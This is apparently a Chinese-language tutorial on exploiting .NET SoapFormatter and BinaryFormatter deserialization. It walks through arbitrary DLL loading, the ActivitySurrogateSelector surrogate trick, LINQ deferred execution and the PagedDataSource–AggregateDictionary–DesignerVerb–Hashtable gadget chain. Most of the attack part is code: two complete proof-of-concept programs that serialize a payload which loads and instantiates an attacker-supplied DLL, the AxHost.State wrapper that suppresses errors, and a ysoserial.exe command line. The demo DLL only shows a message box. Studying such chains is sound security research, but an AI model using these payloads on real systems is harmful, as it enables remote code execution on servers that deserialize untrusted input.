https://github.com/Y4er/dotnet-deserialization/blob/main/SoapFormatter.md

https://boogipop.com/2024/02/28/%E3%80%90.NET%20%E5%AE%89%E5%85%A8%E3%80%91ASP.NET%20SoapFormatter%20Deserialization%2004/#0-1-ASP-NET-%E4%BB%BB%E6%84%8F%E7%B1%BB%E5%8A%A0%E8%BD%BD

.Net任意类加载

在学习这个SoapFormatter类之前 我们先学习一下这个任意类加载 其实和java是一样的 java中编译的class对应这里的dll

calc.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
using System;
using System.Windows.Forms;

namespace ExpClassLibrary
{
public class ExpClass
{
public ExpClass()
{
MessageBox.Show("ExpClass DLL loaded successfully!", "DLL Loaded", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
}
}

编译dll命令

1
csc.exe /target:library /out:calc.dll calc.cs

csharp里类编译后会变成dll文件,那么我们同样的也可以读取dll文件的字节流,通过Assembly.Load方法去加载,获取到的是一个assembly对象,通过gettypes获取dll内所有的类型,这里当然只有一个类型,然后通过Activator.CreateInstance实例化对象触发恶意方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
using System;
using System.IO;
using System.Reflection;

namespace ConsoleApplication2
{
class Program
{
static void Main(string[] args)
{
var assembly = Assembly.Load(File.ReadAllBytes("C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\ExpClass.dll"));
// var calculatorType = assembly.GetType("CalcLibrary.Calculator");
// var calculator = Activator.CreateInstance(calculatorType);
// var method = calculatorType.GetMethod("ShowPopup");
// method.Invoke(calculator, null);
var types = assembly.GetTypes();
Activator.CreateInstance(types[0]);
}
}
}

image-20240304164049449

SoapFormatter

SoapFormatter类似XmlSerializer,用于生成基于xml的soap数据流,命名空间位于System.Runtime.Serialization.Formatters.Soap。

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Soap;
using System.Text;

namespace SoapDeserialization
{
[Serializable]
class Person
{
private int age;
private string name;

public int Age { get => age; set => age = value; }
public string Name { get => name; set => name = value; }
public void SayHello()
{
Console.WriteLine("hello from SayHello");
}
}
class Program
{
static void Main(string[] args)
{
SoapFormatter soapFormatter = new SoapFormatter();
Person person = new Person();
person.Age = 10;
person.Name = "jack";
using (MemoryStream stream = new MemoryStream())
{
soapFormatter.Serialize(stream,person);

string soap = Encoding.UTF8.GetString(stream.ToArray());
Console.WriteLine(soap);

stream.Position = 0;
Person p = (Person)soapFormatter.Deserialize(stream);
Console.WriteLine(p.Name);
p.SayHello();
}

Console.ReadKey();
}
}
}

输出结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmls
oap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-EN
V:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<a1:Person id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/SoapDeserialization/ConsoleApplication2%2C%20Version%3D1.0.0.0%2C%20Culture%3Dne
utral%2C%20PublicKeyToken%3Dnull">
<age>10</age>
<name id="ref-3">jack</name>
</a1:Person>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

jack
hello from SayHello

其实看起来和xaml差不多

image-20240229154027957

和其他序列化类一样 都是继承这两个接口 并且有代理器选择等等

ActivitySurrogateSelector

这个类一看名字就知道是个代理器 代理器是啥和使用方法在外面的序列化01就讲过了 这里就不多赘述了

简单来讲其就是可以让一个本不可以序列化的类进行序列化

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Soap;

namespace SoapDeserialization
{
class Person
{
public string Name { get; set; }
public Person(string name)
{
Name = name;
}

public override string ToString()
{
return Name;
}
}

sealed class PersonSerializeSurrogate : ISerializationSurrogate
{

public void GetObjectData(Object obj, SerializationInfo info, StreamingContext context)
{
var p = (Person)obj;
info.AddValue("Name", p.Name);
}

public Object SetObjectData(Object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector)
{
var p = (Person)obj;
p.Name = info.GetString("Name");
return p;
}
}

class Program
{
public static void Main(string[] args)
{
System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
SoapFormatter fmt = new SoapFormatter();
MemoryStream stm = new MemoryStream();

var ss = new SurrogateSelector();
ss.AddSurrogate(typeof(Person), new StreamingContext(StreamingContextStates.All), new PersonSerializeSurrogate());
fmt.SurrogateSelector = ss;
fmt.Serialize(stm, new Person("jack"));
stm.Position = 0;
Console.WriteLine(fmt.Deserialize(stm));

stm.Position = 0;
var fmt2 = new SoapFormatter();
Console.WriteLine(fmt2.Deserialize(stm));
Console.ReadKey();
}
}
}

image-20240304143050997

image-20240304143243374

这里的话输出jack是因为我们使用的第一个formatter是设置了代理器的 下面报错的异常是因为第二个formatter没有设置代理 并在在真实环境中 对方的系统用的formatter也不会设置代理器

再来看这条链,牛就牛在发现了ActivitiySurrogateSelector.aspx)这个类中的ObjectSurrogate,通过这个内部类我们可以反序列化任何对象。看一下这个类的使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Soap;

namespace SoapDeserialization
{
class NonSerializable
{
private string _text;

public NonSerializable(string text)
{
_text = text;
}

public override string ToString()
{
return _text;
}
}

// Custom serialization surrogate
class MySurrogateSelector : SurrogateSelector
{
public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector)
{
selector = this;
if (!type.IsSerializable)
{
Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
return (ISerializationSurrogate)Activator.CreateInstance(t);
}
return base.GetSurrogate(type, context, out selector);
}
}

class Program
{
public static void Main(string[] args)
{
System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
SoapFormatter fmt = new SoapFormatter();
MemoryStream stm = new MemoryStream();


fmt.SurrogateSelector = new MySurrogateSelector();
fmt.Serialize(stm, new NonSerializable("Hello World!"));
stm.Position = 0;

var fmt2 = new SoapFormatter();
Console.WriteLine(fmt2.Deserialize(stm));
Console.ReadKey();
}
}
}

image-20240304143828496

没有报错 正常运行

NonSerializable仍然没有标记Serializable,但是在获取代理器的时候返回了一个ActivitySurrogateSelector+ObjectSurrogate的实例,使得NonSerializable类仍旧可以被序列化。并且fmt2并没有指定代理选择器的前提下,仍然可以正常反序列化对象,这样就解决了上文的限制。

我们跟进ActivitySurrogateSelector中的ObjectSurrogate类 这个是ActivitySurrogateSelector的一个内部类

image-20240304150013131

重点是在这里 它做了一段处理info.SetType(typeof (ActivitySurrogateSelector.ObjectSurrogate.ObjectSerializedRef));它将我们序列化的类的属性设置为了ObjectSerializedRef,我们再看看这个类。

image-20240304150123110

这个类还是可以进行序列化和反序列化的 这就说明了 我们现在可以使用该类来将本不可以进行反序列化的类进行反序列化了 这样久避免了目标中的formatter没有设置代理从而不能反序列化的问题 这样我们的攻击面也更广了

LINQ

LINQ是C#中的语言集成查询语法,像这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void Main(string[] args)
{
var word = "hello from linq.";
var words = word.Split(' ');
var q1 = from s in words
where s.ToLower().Contains('o')
select s;
Console.WriteLine(q1);
foreach (var item in q1)
{
Console.WriteLine(item);
}
Console.ReadKey();
}

有点像Codeql的查询语法 输出

image-20240304150839810

他会返回一个Enumerable迭代对象当做查询结果。并且LINQ有一个特性叫做延迟执行,也就是说当语句执行到var q1 = from s in words where s.ToLower().Contains('o') select s;
这一步的时候,它并不会执行select语句,它需要被当做enumerable对象的时候会自动触发,也就是上述demo中的foreach (var item in q1)
结合上面说的攻击面扩大,我们可以反序列化LINQ对象进行命令执行,基本的触发链如下

1
2
3
4
5
6
7
8
9
10
11
12
13
public static void Main(string[] args)
{
List<byte[]> data = new List<byte[]>();
data.Add(File.ReadAllBytes("C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\ExpClass.dll"));
var e1 = data.Select(Assembly.Load);
Func<Assembly, IEnumerable<Type>> map_type = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes"));
var e2 = e1.SelectMany(map_type);
var e3 = e2.Select(Activator.CreateInstance);
foreach (var o in e3)
{
Console.WriteLine(o);
}
}

最终执行到CreateInstance里面实例化任意类,实例化的话就能执行dll中的构造函数了

最后执行还是靠 foreach (var o in e3){Console.WriteLine(o);} 这个的话就是会执行上面的select语句

Gadgets

ysoserial.net给出的调用链

1
2
3
IEnumerable -> PagedDataSource -> ICollection
ICollection -> AggregateDictionary -> IDictionary
IDictionary -> DesignerVerb -> ToString

最终都是会进行进入到这个遍历IEnumerable对象来触发的 我们挨个来来看

其中属性dataSource是IEnumerable类型,因此可以承接上终点的LINQ,又因为PagedDataSource是ICollection的子类,因此可以往上强转,最终到了AggregateDictionary

image-20240304170005184

这里进行了遍历 触发了Enumberable 那么我们只要将_dictionaries参数赋值为PagedDataSource 那么就可以连起来了 AggregateDictionary继承IDictionary,因此继续往上看。

image-20240304170515341

这里把一些重点方法拿出来了。可以看到ToString的地方配合上Text字段的getter方法可以接上AggregateDictionary,我们只需要将properties设置为AggregateDictionary即可。因此最终来到了如何触发ToString方法上,这里Ysoserial中使用的是HashTable。

Hashtable在反序列化的时候会重新建key集合。引发异常的话就会触发ToString

最终POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
using System;
using System.Collections.Generic;
using System.Linq;
using System.Collections;
using System.ComponentModel.Design;
using System.Data;
using System.IO;
using System.Reflection;
using System.Web.UI.WebControls;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.Runtime.Serialization.Formatters.Soap;

namespace ysoserial.Generators
{
public class MySurrogateSelector : SurrogateSelector
{
public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector)
{
selector = this;
if (!type.IsSerializable)
{
Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
return (ISerializationSurrogate)Activator.CreateInstance(t);
}

return base.GetSurrogate(type, context, out selector);
}

}
[Serializable]
public class PayloadClass : ISerializable
{
protected byte[] assemblyBytes;
protected int variant_number = 1;
public PayloadClass()
{
this.assemblyBytes = File.ReadAllBytes("C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\ExpClass.dll");
}
private IEnumerable<TResult> CreateWhereSelectEnumerableIterator<TSource, TResult>(IEnumerable<TSource> src, Func<TSource, bool> predicate, Func<TSource, TResult> selector)
{
Type t = Assembly.Load("System.Core, Version=3.5.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089")
.GetType("System.Linq.Enumerable+WhereSelectEnumerableIterator`2")
.MakeGenericType(typeof(TSource), typeof(TResult));
return t.GetConstructors()[0].Invoke(new object[] { src, predicate, selector }) as IEnumerable<TResult>;
}
protected PayloadClass(SerializationInfo info, StreamingContext context)
{
}

public List<object> GadgetChains()
{
DesignerVerb verb = null;
Hashtable ht = null;
List<object> ls = null;
List<byte[]> data = new List<byte[]>();
data.Add(this.assemblyBytes);
var e1 = data.Select(Assembly.Load);
Func<Assembly, IEnumerable<Type>> map_type = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes"));
var e2 = e1.SelectMany(map_type);
var e3 = e2.Select(Activator.CreateInstance);
PagedDataSource pds = new PagedDataSource() { DataSource = e3 };
IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds);
verb = new DesignerVerb("", null);
typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict);
ls = new List<object>();
ls.Add(e1);
ls.Add(e2);
ls.Add(e3);
ls.Add(pds);
ls.Add(verb);
ls.Add(dict);
ht = new Hashtable();
ht.Add(verb, "");
ht.Add("", "");
FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance);
Array keys = (Array)fi_keys.GetValue(ht);
FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance);
for (int i = 0; i < keys.Length; ++i)
{
object bucket = keys.GetValue(i);
object key = fi_key.GetValue(bucket);
if (key is string)
{
fi_key.SetValue(bucket, verb);
keys.SetValue(bucket, i);
break;
}
}

fi_keys.SetValue(ht, keys);

ls.Add(ht);

return ls;
}

public byte[] GadgetChainsToBinaryFormatter()
{
List<object> ls = GadgetChains();
MemoryStream stm = new MemoryStream();
System.Runtime.Serialization.Formatters.Binary.BinaryFormatter fmt = new System.Runtime.Serialization.Formatters.Binary.BinaryFormatter();
fmt.SurrogateSelector = new MySurrogateSelector();
fmt.Serialize(stm, ls);


return stm.ToArray();
}

public void GetObjectData(SerializationInfo info, StreamingContext context)
{
System.Diagnostics.Trace.WriteLine("In GetObjectData");
info.SetType(typeof(System.Windows.Forms.AxHost.State));
info.AddValue("PropertyBagBinary", GadgetChainsToBinaryFormatter());
}
}

public class Exp
{
public static void Main(string[] args)
{
System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");

PayloadClass payload = new PayloadClass();
using (MemoryStream memoryStream = new MemoryStream(payload.GadgetChainsToBinaryFormatter()))
{
// 构建formatter
// SoapFormatter sp1 = new SoapFormatter();
// sp1.Serialize(memoryStream, payload);
memoryStream.Position = 0;
// var sp2=new SoapFormatter();
var bn=new BinaryFormatter();
bn.Deserialize(memoryStream);
}
}
}
}

image-20240304170818822

虽然也可以弹窗,但是这个payload会报错,在实战中可能会导致利用失败,为了避免这种情况,ysoserial选择了一种二次反序列化的做法。

AxHost.State

image-20240304171015417

在反序列化的时候他会对PropertyBagBinary进行binary反序列化。

image-20240304171116749

最主要的是这里还做了异常处理,就避免了异常发生。

最终poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
using System;
using System.Collections.Generic;
using System.Linq;
using System.Collections;
using System.ComponentModel.Design;
using System.Data;
using System.IO;
using System.Reflection;
using System.Web.UI.WebControls;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.Runtime.Serialization.Formatters.Soap;
using NDesk.Options;

namespace ysoserial.Generators
{
public class MySurrogateSelector : SurrogateSelector
{
public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector)
{
selector = this;
if (!type.IsSerializable)
{
Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
return (ISerializationSurrogate)Activator.CreateInstance(t);
}

return base.GetSurrogate(type, context, out selector);
}

}
[Serializable]
public class PayloadClass : ISerializable
{
protected byte[] assemblyBytes;
protected int variant_number = 1;
public PayloadClass()
{
this.assemblyBytes = File.ReadAllBytes("E:\\CTFLearning\\开发学习\\CsharpLearning\\ExpClassa\\ExpClassa\\obj\\Debug\\ExpClassa.dll");
}
private IEnumerable<TResult> CreateWhereSelectEnumerableIterator<TSource, TResult>(IEnumerable<TSource> src, Func<TSource, bool> predicate, Func<TSource, TResult> selector)
{
Type t = Assembly.Load("System.Core, Version=3.5.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089")
.GetType("System.Linq.Enumerable+WhereSelectEnumerableIterator`2")
.MakeGenericType(typeof(TSource), typeof(TResult));
return t.GetConstructors()[0].Invoke(new object[] { src, predicate, selector }) as IEnumerable<TResult>;
}
protected PayloadClass(SerializationInfo info, StreamingContext context)
{
}

public List<object> GadgetChains()
{
DesignerVerb verb = null;
Hashtable ht = null;
List<object> ls = null;
List<byte[]> data = new List<byte[]>();
data.Add(this.assemblyBytes);
var e1 = data.Select(Assembly.Load);
Func<Assembly, IEnumerable<Type>> map_type = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes"));
var e2 = e1.SelectMany(map_type);
var e3 = e2.Select(Activator.CreateInstance);
PagedDataSource pds = new PagedDataSource() { DataSource = e3 };
IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds);
verb = new DesignerVerb("", null);
typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict);
ls = new List<object>();
ls.Add(e1);
ls.Add(e2);
ls.Add(e3);
ls.Add(pds);
ls.Add(verb);
ls.Add(dict);
ht = new Hashtable();
ht.Add(verb, "");
ht.Add("", "");
FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance);
Array keys = (Array)fi_keys.GetValue(ht);
FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance);
for (int i = 0; i < keys.Length; ++i)
{
object bucket = keys.GetValue(i);
object key = fi_key.GetValue(bucket);
if (key is string)
{
fi_key.SetValue(bucket, verb);
keys.SetValue(bucket, i);
break;
}
}

fi_keys.SetValue(ht, keys);

ls.Add(ht);

return ls;
}

public byte[] GadgetChainsToBinaryFormatter()
{
List<object> ls = GadgetChains();
MemoryStream stm = new MemoryStream();
System.Runtime.Serialization.Formatters.Binary.BinaryFormatter fmt = new System.Runtime.Serialization.Formatters.Binary.BinaryFormatter();
fmt.SurrogateSelector = new MySurrogateSelector();
fmt.Serialize(stm, ls);


return stm.ToArray();
}

public void GetObjectData(SerializationInfo info, StreamingContext context)
{
System.Diagnostics.Trace.WriteLine("In GetObjectData");
info.SetType(typeof(System.Windows.Forms.AxHost.State));
info.AddValue("PropertyBagBinary", GadgetChainsToBinaryFormatter());
}
}

public class Exp
{
public static void Main(string[] args)
{
System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");

PayloadClass payload = new PayloadClass();
using (MemoryStream memoryStream = new MemoryStream())
{
//构建formatter
SoapFormatter sp1 = new SoapFormatter();
sp1.Serialize(memoryStream, payload);
memoryStream.Position = 0;
var sp2=new SoapFormatter();
// var bn=new BinaryFormatter();
sp2.Deserialize(memoryStream);
}
}
}
}

ActivitySurrogateSelectorFromFile

就是动态控制dll文件生成payload恶意 yso已经帮我们实现了 其实就是省去了自己生成dll的过程和payload的过程

1
ysoserial.exe -g ActivitySurrogateSelectorFromFile -f SoapFormatter -c "ExpClass.cs;System.Windows.Forms.dll"

image-20240304172144207

不限于soapFormatter其他的matter也是可以执行的